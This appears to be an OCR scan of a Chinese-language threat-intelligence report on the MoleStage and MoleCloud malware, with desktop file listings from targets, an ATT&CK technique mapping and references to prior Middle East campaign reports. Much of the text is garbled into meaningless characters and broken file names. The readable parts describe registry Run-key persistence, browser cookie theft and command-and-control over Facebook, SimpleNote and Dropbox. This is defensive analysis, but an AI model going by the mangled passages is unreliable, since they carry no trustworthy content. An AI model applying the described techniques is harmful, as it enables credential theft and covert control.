======Desktopfiles====

1111.docx

123456.docx
ACFrogBhWiPWl4cydbGskKhLe_eqiQROMSeisT-YNAS
contentys8 s La.pdf

contente lulligs.. pdf

debug.log

desktop.ini

L[LKK; .docx
M2e78_Series WIN Scanner_\V3.31.38.84,.exe
MNew folder

Mew folder (2)

Mew folder (3)

MNew folder (4)

New Microsoft Word Document (2).docx
MNew Microsoft Word Document.docx
programs

Samsung Easy Document Creator.lnk
scan

scan (3).pdf

wsld

775682111 (1)

bW Microsoft Word Document (2).docx
b Microsoft Word Document (3).docx
~fw Microsoft Word Document (9).docx
rfw Microsoft Word Document.docx

ref il bl , doCx
refelml o )l docx

refiall, docx

el JI 34, docx

refdisl e, docx

n.-$_'u:aJ g ¥l 3ol g ol dmal 8 Y doCX

3-39 BT A R EXH-SRHER
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BRTRAEENAREREN , FIEFRERE TAMMAAETENEN |, BiF TRASAm

BIHLEEHS | B AR ZE R .

1]
t
L}
€

ACFrOgBhWIPW14cydbGskKWLc_eqiQRQMSeis)-
YNA3jg8oCabf1Uap0C3kQ_Vzrpy8192nvBiRjjtoRQITAzRr1 FvjLnMged
RsvJBO9d-WPHToRWJmvWWgYYGDHAYaO=.pdf

pdf. =2 e ccontent

pdf.es 2« =ocontent

docK. s et

doCK Flal e 15~

docx aai§~

docx.adle i & S~

docy a2 1~

oo seal T 41 5 g samsdd e 1 2 (5~

pf. - 2
docK.ala _ale 5!

docx 4

docx Afedide el dod szl

Aty

o (2) £ il e madd plallis 2 Y1 sl mls ;2
d0CK. 2020 A0sy1 22 )

docx.slgx + 2087

dOCK pliz 2amn 4 peall Uliaeil pal
docx iy

docx 111117w
Copy.docx - o238
docx.s A

docx aw s s

g

0K e aren

docx. jes 2

pdf. e 2

pdfel o as e
Bl T

pdf.=

pdf e sa e
docx.Jel=ll A slafil 2als
dOCK. 0

e P

docx.Jislia.y 4

x

I ()

1
]
[

ACFrOgBhWiPW14cydbGskWLc_eqiQROMSeisJ-
¥NAZjQ20Cobf1UapOC3kQ_Varpy8192nvEiRjjtoRQIT&zZRr1FvjLnMged
WRsvJBO9d.

REd. =R RE-EiEF pdf
EESNGIRE. pdf

~§ National union.docx
SRR,

—§ Htmldocx

~SEEEEE.

8§ D Shtayyeh, Docx

- STHER =TSR E.
F4E pdf

[o# Sis-fs2hER (Abu Maher Helles.docx)
meFoeRoESs
HEFestisTERe
EiESE

Shtayyeh. Docx
BEREESE

BEEsWsE
EREESTIMNGES AL =IENESERS (2) docx
20203 +-#iEk docx

i+ task docx

HEE

HBETE

MHiMessage.docx
FREFRE2020

B

HiE=< docx

BERus

i -

CEENEERETIE

EEHER

=L pdf

EEEHEFIEE, Mohamed Zidam docx
Docx

TAH111111 docx
Trois-Copy.docx

Trois.docx

fR3Docx

2B

EffMale.docx

=5

fE1tSameerdocx

{Et-Sameer pdf

212 pdf

=1[=

Suhad Names.docx

Shaden.pdf

FEE=ZE pdf

Fi=iird

= &2 Hebron branch.docx
MR ER,

R EaieE. docx

il

FHTDalal Salamehigis pdf

3-40 BEABB T AT A28 RSO S RN LLBREFA R

4. BESR AR A P BT R 5
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E{FFIATTRCKAELE X R I 2HLRFE AR B BT R AR T R | TR ARERFTRAK
ATT&CKAELR, FERFThRAATT&CKAEZEF | HARMERE FSRA12AN R T 144, 3807 R AR RIR
FFARX B FIEE AR ER .

AR R AL T A SIS R ATTRCK BMELR PR 1B DMHEL. MR (BHEAHERL
B) , BRI TOARRANR R

R 41RO ALRRR B TEHEAT AR R

ATT&CK

g BK1TA

e B AT FREWESETEALREE , MIIEM , WSEESE ; BEBAYUE

” FE , BIDNS., Whois%,%@’aﬂ%%%m%ﬁ%;

YRR TE=FAWebfR% F A4, EEREURMEGTIRISE , 20FIFAFacebook,
SlmpleNote—Fk 74 . F|ADropbox, Google Driveffrsa X4 UATRKIEE.

o ﬁﬂ%']ﬁﬁiﬁ?&%l&&ﬁ X A& MEFFITHIAAE | F A5 RHXKFEIEPDFX

8 HESSEETHASESRENERD,
. B PR A word G E X S FIIT ; BT FfPowershell, CMD, WMIC%y4

ITLAPITEHS ; MoleStagePAK MoleCloud1E T APIHIT T A HIG 24K 14 .

BRI BRI TR, , A0MoleStage Dropper& 7E78 EALKE =+
a4 SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Runj¥ i} 3~ 4/7&$2{E kK {FMoleStage
H/a3). K& MoleStage a2 A B H# NZE B BB X Tt T,

BRI AESRATIR , AMoleStage BB RAHAITIRFA WG , YTBEENEZNAT

R MoleStage{E7E i PRI E T XHHIT , X#¥MoleStage i BA 47T A HEZFHAER.
BEfEREA . MERFEVFAEIR. RS, BRUEMERARIRIE ST TR

S B, X ARSCHR T IR EAESORERERN . BT IEE T AR BRI 43T
fi# MoleStage 111 THI a5 B S & L B L8 &I, MoleStage Dropper£: & B fift

.
FFK3HFMoleStageFFA b, MoleStagex ik 2L FFAERIBBF L.
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HEMIMoleStage A & MoleCloud & E A EREN KT S 5B Chrome,  FirefoxA K
EdgeZEWebj3 YT 25 ) Cookie, ZRATFMEIFHREIE. HERGEIERFITEUEAA).

TEB A MoleStage A & MoleCloud4 @1 Shellés 4 £ IMBEEHAE A% . W84 KR
HEREESE ; AR GEEERER TR SIS RS AR AN TSP, |
MBREE, ¥k, RGIMEACE . RENKIEER, REFEA. RGBS, REEH.

WERAAZEIR, WA, REUFREERBIEEL 7 , iMoleStage B2
W FREE. DEAIESST ERXHER , RSB FRAE%Temp%E X T
F5 % HNREHEE RS G 2R EEENRERARIESE.

BEFERSREE. FBWeb RS HITHSSIES] , 20FI /A WebR 35 Facebook,
SimpleNote P& #34 ; ¥FURLKIMAET , MoleStagel & B XA FI A& AURLSC2iR %
RIATIE(E.

B RBUEMEIRE R/ TEIRIZE |, 202 LERSCHF R/ NEIT4MBES |, MoleStages:
BN S  BECUSEEZIHTHIRIZE , MoleStage KB ENHKMEEIR[E]
EC2R 5575,

HENERENBET , BhESRER TR R EE L.

B R AL BB BN T AR RIS EIATT&CK BAMELR AN FEIFT/R
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HEBHBESIN TR K wmemms | egares ] RN

4 -1“RIE AL RATHEIMT A RIRSTEIATT & CKBUEMESS

5./

“RIGALMERERNBETENRAE S EEBGE—F D0 40 MIE  HEMERE | IXEFRK
TR RESU R A TSRS, (BFERMHER AR DN E L 2 ERMER DB B HG R R 2P RTE R
T, WEBHRATABEH. SREABEENNEFEERANRRINBR T ReBESEARR ,
HERAEMTERLOEME Y E , BUXE— I HEHEREEBRIEARKIZR , (EX LM B R
WRETSSLMEN TEARL , BESEF T REMRNBEFEREN |, RS T IRENETERHDILN R
A, HorERnRME , «RiE-EREREHKPython /5] TEEKH4MoleCloud , 4RKEEF A RBEEX
X AR S5 KLIEERN |, 207 FAFacebookIA & SimpleNote T &F64. 1| FiDropbox /2 M £ 3k N BT EAR 4
AR EAEZERBIRSCH |, REHLE T AR, EITHAREMARBEIE S, FENOE N ERN A
BRSS , BRI ARCA T T A R AR B B B & e , B SETMEWCER , Iz A~ EA
SRR, AIREMAA AT TE BN HAER (4 T ki

ELRRGENAHIRES , BLUGRA  FIMENSSAPTRAZOEP (F55%) , MARSERA (5
%), PERBIMT AR SRIMESN R R ERE , MAK_ERVBREE B S HRARREAM IR
RENRTE , T FRUMN FEXFWEEEREGHHEARTRETR , EMAAPTHELMAIR , RE1EE
SHtEERARGE, ET R AR FAPTHANKHAN T , HIMEFETX—A.

LT RHER S AR AR R FE RS —E A R P RER T I SMOBAE |, B R ER MR
LURRREMDENT , BRERARK , BTHR , BHOEASRTE , MRBAQKBTEMX , —
BERHAE SRR, SULFAETRRNEZRRE | FTUSEZE |, tA2m, FimQEEE
FFEPP+EDRASREN dh , BRAESR T EE—RHEIFEMT TR |, XAERWSEETIzEINN. RIS
FIVFLALIEERAR LT , Fit , ETHSPARSITEENELBARENLERE .

RRLLTRABSHEAEREN , KR RXEPLRIGHEARLS (IEP) FAELEPPIETFIREN
EDRIIBNZ AL ERES) , 2T REIUTREARMEA RN BIMERT. MTXIEZBMANARS (PTA) AT
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MR EHARR BN T A , Bt C2EZ M BMER , XM RXBS-RMEMR LN EXINEE. [
iR AIRA UBE R X BIMETRRE ST S (ATID) BHEXEIMERNFREER.

fR— : RN

[1] Operation DustySky

https://www.clearskysec.com/dustysky/

[2] Netanyahu meets Saudi crown prince MBS, Pompeo in Saudi Arabia

https://www.jpost.com/israel-news/netanyahu-mossad-chief-may-have-visited-saudi-arabia-alongside-
pompeo-649959

[3] EnigmaSpark: Politically Themed Cyber Activity Highlights Regional Opposition to Middle East Peace
Plan

https://securityintelligence.com/posts/enigmaspark-politically-themed-cyber-activity-highlights-regional-

opposition-to-middle-east-peace-plan/

FfsR— : ToCs

46 PDF
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